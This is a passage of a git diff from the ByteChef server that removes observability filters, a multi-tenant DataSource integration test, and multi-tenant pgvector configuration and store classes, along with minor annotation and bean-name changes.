-            response.setHeader("X-Trace-Id", traceId);
-        }
-
-        filterChain.doFilter(request, response);
-    }
-
-    private @Nullable String getTraceId() {
-        CurrentTraceContext currentTraceContext = this.tracer.currentTraceContext();
-
-        TraceContext context = currentTraceContext.context();
-
-        return context != null ? context.traceId() : null;
-    }
-}
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/FilterConfiguration.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/FilterConfiguration.java
deleted file mode 100644
index 76d86f95ea4..00000000000
--- a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/FilterConfiguration.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.observability.filter;
-
-import io.micrometer.tracing.Tracer;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-
-/**
- * @Matija Petanjek
- */
-@Configuration(proxyBeanMethods = false)
-public class FilterConfiguration {
-
-    @Bean
-    HeaderLoggerFilter headerLoggerFilter() {
-        return new HeaderLoggerFilter();
-    }
-
-    @Bean
-    AddTraceIdFilter addTraceIdFilter(Tracer tracer) {
-        return new AddTraceIdFilter(tracer);
-    }
-}
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/HeaderLoggerFilter.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/HeaderLoggerFilter.java
deleted file mode 100644
index 9a39104a469..00000000000
--- a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/HeaderLoggerFilter.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.observability.filter;
-
-import jakarta.servlet.FilterChain;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.web.filter.OncePerRequestFilter;
-
-/**
- * @Matija Petanjek
- */
-class HeaderLoggerFilter extends OncePerRequestFilter {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(HeaderLoggerFilter.class);
-
-    @Override
-    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
-        throws ServletException, IOException {
-
-        logHeaders(request);
-
-        filterChain.doFilter(request, response);
-    }
-
-    private void logHeaders(HttpServletRequest request) {
-        request.getHeaderNames()
-            .asIterator()
-            .forEachRemaining(header -> {
-                List<String> values = new ArrayList<>();
-
-                request.getHeaders(header)
-                    .asIterator()
-                    .forEachRemaining(values::add);
-
-                LOGGER.debug("{}: {}", header, values.size() == 1 ? values.getFirst() : values);
-            });
-    }
-}
diff --git a/server/ee/libs/config/observability-config/src/main/resources/META-INF/spring.factories b/server/ee/libs/config/observability-config/src/main/resources/META-INF/spring.factories
new file mode 100644
index 00000000000..cbc7802c23b
--- /dev/null
+++ b/server/ee/libs/config/observability-config/src/main/resources/META-INF/spring.factories
@@ -0,0 +1,2 @@
+org.springframework.boot.EnvironmentPostProcessor=\
+com.bytechef.ee.observability.env.ObservabilityEnvironmentPostProcessor
diff --git a/server/ee/libs/config/tenant-multi-data-config/build.gradle.kts b/server/ee/libs/config/tenant-multi-data-config/build.gradle.kts
index 5c84878f20e..69100068ea5 100644
--- a/server/ee/libs/config/tenant-multi-data-config/build.gradle.kts
+++ b/server/ee/libs/config/tenant-multi-data-config/build.gradle.kts
@@ -5,11 +5,4 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-jdbc")
     implementation(project(":server:libs:core:tenant:tenant-api"))
     implementation(project(":server:libs:platform:platform-api"))
-
-    testImplementation("org.testcontainers:testcontainers")
-    testImplementation("org.testcontainers:postgresql")
-    testImplementation("org.testcontainers:junit-jupiter")
-
-    testRuntimeOnly("com.zaxxer:HikariCP")
-    testRuntimeOnly("org.postgresql:postgresql")
 }
diff --git a/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfiguration.java b/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfiguration.java
index 4c9ba2e4f43..f1bfd1141ba 100644
--- a/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfiguration.java
+++ b/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfiguration.java
@@ -17,7 +17,6 @@
 import org.springframework.boot.jdbc.autoconfigure.DataSourceProperties;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.Primary;
 
 /**
  * @version ee
@@ -30,7 +29,6 @@
 public class MultiTenantDataSourceConfiguration {
 
     @Bean
-    @Primary
     public DataSource dataSource(DataSourceProperties properties) {
         final HikariDataSource dataSource = properties.initializeDataSourceBuilder()
             .type(HikariDataSource.class)
@@ -44,7 +42,7 @@ public DataSource dataSource(DataSourceProperties properties) {
     }
 
     @Bean
-    MultiTenantLiquibaseChangelogLoader multiTenantLiquibaseChangelogLoader(TenantService tenantService) {
+    MultiTenantLiquibaseChangelogLoader multiTenantLiquibaseCheck(TenantService tenantService) {
         return new MultiTenantLiquibaseChangelogLoader(tenantService);
     }
 }
diff --git a/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantDataSource.java b/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantDataSource.java
index 1e58b887ead..066b08de66e 100644
--- a/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantDataSource.java
+++ b/server/ee/libs/config/tenant-multi-data-config/src/main/java/com/bytechef/ee/tenant/multi/sql/MultiTenantDataSource.java
@@ -19,8 +19,6 @@
 import javax.sql.DataSource;
 
 /**
- * Multi-tenant DataSource wrapper that sets the PostgreSQL search_path based on tenant context.
- *
  * @version ee
  *
  * @author Ivica Cardic
@@ -92,16 +90,6 @@ public boolean isWrapperFor(Class<?> iface) throws SQLException {
         return dataSource.isWrapperFor(iface);
     }
 
-    /**
-     * Sets the PostgreSQL search_path to the current tenant's schema.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL injection suppression is for schema name injection which cannot be parameterized in
-     * PostgreSQL. Schema names must be included as identifiers, not as parameterized values. The tenant ID is validated
-     * to contain only alphanumeric characters, underscores, and hyphens to prevent SQL injection. This is a PostgreSQL
-     * limitation, not a security vulnerability.
-     */
-    @SuppressFBWarnings("SQL_INJECTION_JDBC")
     private static void setSearchPath(Connection connection) throws SQLException {
         try (Statement statement = connection.createStatement()) {
             statement.execute("SET search_path TO " + TenantContext.getCurrentDatabaseSchema());
diff --git a/server/ee/libs/config/tenant-multi-data-config/src/test/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfigurationIntTest.java b/server/ee/libs/config/tenant-multi-data-config/src/test/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfigurationIntTest.java
deleted file mode 100644
index d469036eecc..00000000000
--- a/server/ee/libs/config/tenant-multi-data-config/src/test/java/com/bytechef/ee/tenant/multi/config/MultiTenantDataSourceConfigurationIntTest.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.config;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.ee.tenant.multi.sql.MultiTenantDataSource;
-import com.bytechef.tenant.service.TenantService;
-import com.zaxxer.hikari.HikariDataSource;
-import javax.sql.DataSource;
-import org.junit.jupiter.api.Test;
-import org.springframework.boot.autoconfigure.AutoConfigurations;
-import org.springframework.boot.jdbc.autoconfigure.DataSourceAutoConfiguration;
-import org.springframework.boot.test.context.runner.ApplicationContextRunner;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.testcontainers.containers.PostgreSQLContainer;
-import org.testcontainers.junit.jupiter.Container;
-import org.testcontainers.junit.jupiter.Testcontainers;
-
-/**
- * Integration tests for {@link MultiTenantDataSourceConfiguration} to verify that the correct DataSource is loaded when
- * multi-tenant mode is enabled with EE edition.
- *
- * <p>
- * These tests verify that when bytechef.edition=ee and bytechef.tenant.mode=multi, the MultiTenantDataSource is the
- * primary DataSource bean.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Testcontainers
-class MultiTenantDataSourceConfigurationIntTest {
-
-    @Container
-    private static final PostgreSQLContainer<?> postgreSQLContainer = new PostgreSQLContainer<>("postgres:16-alpine");
-
-    private final ApplicationContextRunner contextRunner = new ApplicationContextRunner()
-        .withConfiguration(AutoConfigurations.of(DataSourceAutoConfiguration.class))
-        .withUserConfiguration(MultiTenantDataSourceConfiguration.class, TestConfiguration.class)
-        .withPropertyValues(
-            "bytechef.edition=ee",
-            "bytechef.tenant.mode=multi",
-            "spring.datasource.url=" + postgreSQLContainer.getJdbcUrl(),
-            "spring.datasource.username=" + postgreSQLContainer.getUsername(),
-            "spring.datasource.password=" + postgreSQLContainer.getPassword());
-
-    @Test
-    void testDataSourceIsMultiTenantDataSourceInMultiTenantMode() {
-        ApplicationContextRunner multiDataSourceContextRunner = new ApplicationContextRunner()
-            .withConfiguration(AutoConfigurations.of(DataSourceAutoConfiguration.class))
-            .withUserConfiguration(
-                MultiTenantDataSourceConfiguration.class, TestConfiguration.class,
-                CompetingDataSourceConfiguration.class)
-            .withPropertyValues(
-                "bytechef.edition=ee",
-                "bytechef.tenant.mode=multi",
-                "spring.datasource.url=" + postgreSQLContainer.getJdbcUrl(),
-                "spring.datasource.username=" + postgreSQLContainer.getUsername(),
-                "spring.datasource.password=" + postgreSQLContainer.getPassword());
-
-        multiDataSourceContextRunner.run(context -> {
-            assertThat(context).hasBean("dataSource");
-            assertThat(context).hasBean("competingDataSource");
-
-            DataSource primaryDataSource = context.getBean(DataSource.class);
-
-            assertThat(primaryDataSource).isInstanceOf(MultiTenantDataSource.class);
-        });
-    }
-
-    @Test
-    void testDataSourceNotLoadedWithoutEEEdition() {
-        ApplicationContextRunner nonEEContextRunner = new ApplicationContextRunner()
-            .withConfiguration(AutoConfigurations.of(DataSourceAutoConfiguration.class))
-            .withUserConfiguration(MultiTenantDataSourceConfiguration.class, TestConfiguration.class)
-            .withPropertyValues(
-                "bytechef.tenant.mode=multi",
-                "spring.datasource.url=" + postgreSQLContainer.getJdbcUrl(),
-                "spring.datasource.username=" + postgreSQLContainer.getUsername(),
-                "spring.datasource.password=" + postgreSQLContainer.getPassword());
-
-        nonEEContextRunner.run(context -> {
-            DataSource dataSource = context.getBean(DataSource.class);
-
-            assertThat(dataSource).isNotInstanceOf(MultiTenantDataSource.class);
-        });
-    }
-
-    @Test
-    void testDataSourceNotLoadedWithoutMultiTenantMode() {
-        ApplicationContextRunner singleTenantContextRunner = new ApplicationContextRunner()
-            .withConfiguration(AutoConfigurations.of(DataSourceAutoConfiguration.class))
-            .withUserConfiguration(MultiTenantDataSourceConfiguration.class, TestConfiguration.class)
-            .withPropertyValues(
-                "bytechef.edition=ee",
-                "bytechef.tenant.mode=single",
-                "spring.datasource.url=" + postgreSQLContainer.getJdbcUrl(),
-                "spring.datasource.username=" + postgreSQLContainer.getUsername(),
-                "spring.datasource.password=" + postgreSQLContainer.getPassword());
-
-        singleTenantContextRunner.run(context -> {
-            DataSource dataSource = context.getBean(DataSource.class);
-
-            assertThat(dataSource).isNotInstanceOf(MultiTenantDataSource.class);
-        });
-    }
-
-    @Configuration
-    static class TestConfiguration {
-
-        @Bean
-        TenantService tenantService() {
-            return mock(TenantService.class);
-        }
-    }
-
-    @Configuration
-    static class CompetingDataSourceConfiguration {
-
-        @Bean
-        DataSource competingDataSource() {
-            HikariDataSource dataSource = new HikariDataSource();
-
-            dataSource.setJdbcUrl(postgreSQLContainer.getJdbcUrl());
-            dataSource.setUsername(postgreSQLContainer.getUsername());
-            dataSource.setPassword(postgreSQLContainer.getPassword());
-
-            return dataSource;
-        }
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-knowledge-base-config/build.gradle.kts b/server/ee/libs/config/tenant-multi-knowledge-base-config/build.gradle.kts
deleted file mode 100644
index d811aa526f7..00000000000
--- a/server/ee/libs/config/tenant-multi-knowledge-base-config/build.gradle.kts
+++ /dev/null
@@ -1,11 +0,0 @@
-dependencies {
-    implementation("org.springframework.ai:spring-ai-autoconfigure-vector-store-pgvector")
-    implementation("org.springframework.ai:spring-ai-commons")
-    implementation("org.springframework.ai:spring-ai-pgvector-store")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework:spring-jdbc")
-    implementation(project(":server:ee:libs:config:tenant-multi-pgvector-config"))
-    implementation(project(":server:libs:core:tenant:tenant-api"))
-    implementation(project(":server:libs:platform:platform-api"))
-}
diff --git a/server/ee/libs/config/tenant-multi-knowledge-base-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantKnowledgeBasePgVectorConfiguration.java b/server/ee/libs/config/tenant-multi-knowledge-base-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantKnowledgeBasePgVectorConfiguration.java
deleted file mode 100644
index a7475055b30..00000000000
--- a/server/ee/libs/config/tenant-multi-knowledge-base-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantKnowledgeBasePgVectorConfiguration.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.config;
-
-import com.bytechef.ee.tenant.multi.pgvector.MultiTenantPgVectorStore;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import com.bytechef.tenant.annotation.ConditionalOnMultiTenant;
-import org.springframework.ai.embedding.BatchingStrategy;
-import org.springframework.ai.embedding.EmbeddingModel;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreProperties;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.jdbc.core.JdbcTemplate;
-
-/**
- * Multi-tenant configuration for the Knowledge Base PgVector store.
- *
- * <p>
- * This configuration creates a {@link MultiTenantPgVectorStore} that dynamically resolves the schema from
- * {@link com.bytechef.tenant.TenantContext} on each operation, enabling multi-tenant isolation at the database schema
- * level.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnEEVersion
-@ConditionalOnMultiTenant
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class MultiTenantKnowledgeBasePgVectorConfiguration {
-
-    @Bean
-    VectorStore knowledgeBasePgVectorStore(
-        @Qualifier("pgVectorJdbcTemplate") JdbcTemplate pgVectorJdbcTemplate, EmbeddingModel embeddingModel,
-        PgVectorStoreProperties properties, BatchingStrategy batchingStrategy) {
-
-        return MultiTenantPgVectorStore.builder(pgVectorJdbcTemplate, embeddingModel)
-            .vectorTableName("kb_" + properties.getTableName())
-            .distanceType(properties.getDistanceType())
-            .idType(properties.getIdType())
-            .batchingStrategy(batchingStrategy)
-            .build();
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-pgvector-config/build.gradle.kts b/server/ee/libs/config/tenant-multi-pgvector-config/build.gradle.kts
deleted file mode 100644
index 7a5a85de0d4..00000000000
--- a/server/ee/libs/config/tenant-multi-pgvector-config/build.gradle.kts
+++ /dev/null
@@ -1,14 +0,0 @@
-dependencies {
-    implementation("com.github.spotbugs:spotbugs-annotations")
-    implementation("com.zaxxer:HikariCP")
-    implementation("org.slf4j:slf4j-api")
-    implementation("org.springframework.ai:spring-ai-autoconfigure-vector-store-pgvector")
-    implementation("org.springframework.ai:spring-ai-pgvector-store")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework.data:spring-data-jdbc")
-    implementation("org.springframework:spring-jdbc")
-    implementation("org.springframework:spring-tx")
-    implementation(project(":server:libs:config:app-config"))
-    implementation(project(":server:libs:core:tenant:tenant-api"))
-    implementation(project(":server:libs:platform:platform-api"))
-}
diff --git a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantPgVectorDataSourceConfiguration.java b/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantPgVectorDataSourceConfiguration.java
deleted file mode 100644
index 95646030794..00000000000
--- a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/config/MultiTenantPgVectorDataSourceConfiguration.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.config;
-
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.ee.tenant.multi.pgvector.MultiTenantPgVectorLoader;
-import com.bytechef.ee.tenant.multi.sql.MultiTenantPgVectorDataSource;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import com.bytechef.tenant.annotation.ConditionalOnMultiTenant;
-import com.bytechef.tenant.service.TenantService;
-import com.zaxxer.hikari.HikariDataSource;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import javax.sql.DataSource;
-import org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreProperties;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.boot.jdbc.DataSourceBuilder;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.jdbc.core.JdbcTemplate;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnEEVersion
-@ConditionalOnMultiTenant
-@ConditionalOnProperty(prefix = "spring.ai.vectorstore", name = "type", havingValue = "pgvector")
-class MultiTenantPgVectorDataSourceConfiguration {
-
-    private final ApplicationProperties.Ai.Vectorstore.PgVector pgVector;
-
-    @SuppressFBWarnings("EI")
-    MultiTenantPgVectorDataSourceConfiguration(ApplicationProperties applicationProperties) {
-        this.pgVector = applicationProperties.getAi()
-            .getVectorstore()
-            .getPgVector();
-    }
-
-    @Bean
-    DataSource pgVectorDataSource() {
-        HikariDataSource dataSource = DataSourceBuilder.create()
-            .type(HikariDataSource.class)
-            .url(pgVector.getUrl())
-            .username(pgVector.getUsername())
-            .password(pgVector.getPassword())
-            .build();
-
-        return new MultiTenantPgVectorDataSource(dataSource);
-    }
-
-    @Bean
-    MultiTenantPgVectorLoader multiTenantPgVectorLoader(
-        @Qualifier("pgVectorJdbcTemplate") JdbcTemplate pgVectorJdbcTemplate,
-        PgVectorStoreProperties properties, TenantService tenantService) {
-
-        return new MultiTenantPgVectorLoader(pgVectorJdbcTemplate, properties, tenantService);
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/MultiTenantPgVectorLoader.java b/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/MultiTenantPgVectorLoader.java
deleted file mode 100644
index 1b4e37c3912..00000000000
--- a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/MultiTenantPgVectorLoader.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.pgvector;
-
-import com.bytechef.tenant.TenantContext;
-import com.bytechef.tenant.event.TenantSchemaCreatedEvent;
-import com.bytechef.tenant.service.TenantService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.regex.Pattern;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.vectorstore.pgvector.PgVectorStore;
-import org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreProperties;
-import org.springframework.beans.factory.InitializingBean;
-import org.springframework.context.event.EventListener;
-import org.springframework.jdbc.core.JdbcTemplate;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class MultiTenantPgVectorLoader implements InitializingBean {
-
-    private static final Logger log = LoggerFactory.getLogger(MultiTenantPgVectorLoader.class);
-
-    private static final Pattern IDENTIFIER_PATTERN = Pattern.compile("^[a-zA-Z_][a-zA-Z0-9_]*$");
-    private static final String TABLE_NAME = "kb_vector_store";
-
-    private final JdbcTemplate jdbcTemplate;
-    private final PgVectorStoreProperties properties;
-    private final TenantService tenantService;
-
-    @SuppressFBWarnings("EI")
-    public MultiTenantPgVectorLoader(
-        JdbcTemplate jdbcTemplate, PgVectorStoreProperties properties, TenantService tenantService) {
-
-        this.jdbcTemplate = jdbcTemplate;
-        this.properties = properties;
-        this.tenantService = tenantService;
-    }
-
-    @Override
-    public void afterPropertiesSet() {
-        List<String> tenantIds = tenantService.getTenantIds();
-
-        if (log.isDebugEnabled()) {
-            log.debug("Initializing PgVectorStore schema for {} tenants", tenantIds.size());
-        }
-
-        for (String tenantId : tenantIds) {
-            initializeSchema(tenantId);
-        }
-    }
-
-    @EventListener
-    public void onTenantSchemaCreated(TenantSchemaCreatedEvent event) {
-        initializeSchema(event.getTenantId());
-    }
-
-    private void initializeSchema(String tenantId) {
-        TenantContext.runWithTenantId(tenantId, () -> doInitializeSchema(tenantId));
-    }
-
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    private void doInitializeSchema(String tenantId) {
-        String schemaName = TenantContext.getCurrentDatabaseSchema("vectorstore");
-
-        validateIdentifier(schemaName);
-
-        log.info("Initializing PgVectorStore schema for table: {} in schema: {}", TABLE_NAME, schemaName);
-
-        jdbcTemplate.execute("CREATE EXTENSION IF NOT EXISTS vector");
-        jdbcTemplate.execute("CREATE EXTENSION IF NOT EXISTS hstore");
-
-        if (properties.getIdType() == PgVectorStore.PgIdType.UUID) {
-            jdbcTemplate.execute("CREATE EXTENSION IF NOT EXISTS \"uuid-ossp\"");
-        }
-
-        jdbcTemplate.execute("CREATE SCHEMA IF NOT EXISTS " + schemaName);
-
-        if (properties.isRemoveExistingVectorStoreTable()) {
-            jdbcTemplate.execute("DROP TABLE IF EXISTS " + schemaName + "." + TABLE_NAME);
-        }
-
-        String idColumnType = properties.getIdType() == PgVectorStore.PgIdType.UUID ? "uuid" : "text";
-
-        String createTableSql = "CREATE TABLE IF NOT EXISTS " + schemaName + "." + TABLE_NAME + " (" +
-            "id " + idColumnType + " PRIMARY KEY, " +
-            "content text, " +
-            "metadata json, " +
-            "embedding public.vector(" + properties.getDimensions() + "))";
-
-        jdbcTemplate.execute(createTableSql);
-
-        if (properties.getIndexType() != PgVectorStore.PgIndexType.NONE) {
-            String indexName = TABLE_NAME + "_embedding_idx";
-            String indexType = properties.getIndexType()
-                .name()
-                .toLowerCase();
-            String distanceType = properties.getDistanceType().index;
-
-            String createIndexSql = "CREATE INDEX IF NOT EXISTS " + indexName +
-                " ON " + schemaName + "." + TABLE_NAME +
-                " USING " + indexType + " (embedding public." + distanceType + ")";
-
-            jdbcTemplate.execute(createIndexSql);
-        }
-
-        if (log.isDebugEnabled()) {
-            log.debug("Initialized PgVectorStore schema for tenant {}", tenantId);
-        }
-    }
-
-    private void validateIdentifier(String identifier) {
-        if (!IDENTIFIER_PATTERN.matcher(identifier)
-            .matches()) {
-            throw new IllegalArgumentException("Invalid SQL identifier: " + identifier);
-        }
-    }
-}
diff --git a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/MultiTenantPgVectorStore.java b/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/MultiTenantPgVectorStore.java
deleted file mode 100644
index 488762cb420..00000000000
--- a/server/ee/libs/config/tenant-multi-pgvector-config/src/main/java/com/bytechef/ee/tenant/multi/pgvector/MultiTenantPgVectorStore.java
+++ /dev/null
@@ -1,414 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.tenant.multi.pgvector;
-
-import static org.springframework.ai.observation.conventions.VectorStoreSimilarityMetric.COSINE;
-import static org.springframework.ai.observation.conventions.VectorStoreSimilarityMetric.DOT;
-import static org.springframework.ai.observation.conventions.VectorStoreSimilarityMetric.EUCLIDEAN;
-import static org.springframework.ai.vectorstore.pgvector.PgVectorStore.PgDistanceType.COSINE_DISTANCE;
-import static org.springframework.ai.vectorstore.pgvector.PgVectorStore.PgDistanceType.EUCLIDEAN_DISTANCE;
-import static org.springframework.ai.vectorstore.pgvector.PgVectorStore.PgDistanceType.NEGATIVE_INNER_PRODUCT;
-
-import com.bytechef.tenant.TenantContext;
-import com.fasterxml.jackson.core.JsonProcessingException;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.json.JsonMapper;
-import com.pgvector.PGvector;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.sql.PreparedStatement;
-import java.sql.ResultSet;
-import java.sql.SQLException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.UUID;
-import org.postgresql.util.PGobject;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.document.DocumentMetadata;
-import org.springframework.ai.embedding.EmbeddingModel;
-import org.springframework.ai.embedding.EmbeddingOptions;
-import org.springframework.ai.observation.conventions.VectorStoreProvider;
-import org.springframework.ai.observation.conventions.VectorStoreSimilarityMetric;
-import org.springframework.ai.util.JacksonUtils;
-import org.springframework.ai.vectorstore.AbstractVectorStoreBuilder;
-import org.springframework.ai.vectorstore.SearchRequest;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.ai.vectorstore.filter.Filter;
-import org.springframework.ai.vectorstore.filter.FilterExpressionConverter;
-import org.springframework.ai.vectorstore.observation.AbstractObservationVectorStore;
-import org.springframework.ai.vectorstore.observation.VectorStoreObservationContext;
-import org.springframework.ai.vectorstore.pgvector.PgVectorFilterExpressionConverter;
-import org.springframework.ai.vectorstore.pgvector.PgVectorStore;
-import org.springframework.jdbc.core.BatchPreparedStatementSetter;
-import org.springframework.jdbc.core.JdbcTemplate;
-import org.springframework.jdbc.core.RowMapper;
-import org.springframework.jdbc.core.SqlTypeValue;
-import org.springframework.jdbc.core.StatementCreatorUtils;
-import org.springframework.util.Assert;
-import org.springframework.util.StringUtils;
-
-/**
- * Multi-tenant PgVectorStore implementation that dynamically resolves the schema from TenantContext.
- *
- * <p>
- * Unlike the standard PgVectorStore which uses a fixed schema name configured at build time, this implementation
- * retrieves the schema name from {@link TenantContext#getCurrentDatabaseSchema(String)} on each operation, enabling
- * true multi-tenant isolation at the database schema level.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class MultiTenantPgVectorStore extends AbstractObservationVectorStore implements VectorStore {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(MultiTenantPgVectorStore.class);
-
-    private static final Map<PgVectorStore.PgDistanceType, VectorStoreSimilarityMetric> SIMILARITY_TYPE_MAPPING =
-        Map.of(COSINE_DISTANCE, COSINE, EUCLIDEAN_DISTANCE, EUCLIDEAN, NEGATIVE_INNER_PRODUCT, DOT);
-    private static final String VECTORSTORE_SCHEMA_SUFFIX = "vectorstore";
-
-    public final FilterExpressionConverter filterExpressionConverter = new PgVectorFilterExpressionConverter();
-
-    private final String vectorTableName;
-    private final JdbcTemplate jdbcTemplate;
-    private final PgVectorStore.PgIdType idType;
-    private final int dimensions;
-    private final PgVectorStore.PgDistanceType distanceType;
-    private final ObjectMapper objectMapper;
-    private final DocumentRowMapper documentRowMapper;
-    private final int maxDocumentBatchSize;
-
-    @SuppressFBWarnings("EI")
-    public MultiTenantPgVectorStore(MultiTenantPgVectorStoreBuilder builder) {
-        super(builder);
-
-        Assert.notNull(builder.jdbcTemplate, "JdbcTemplate must not be null");
-
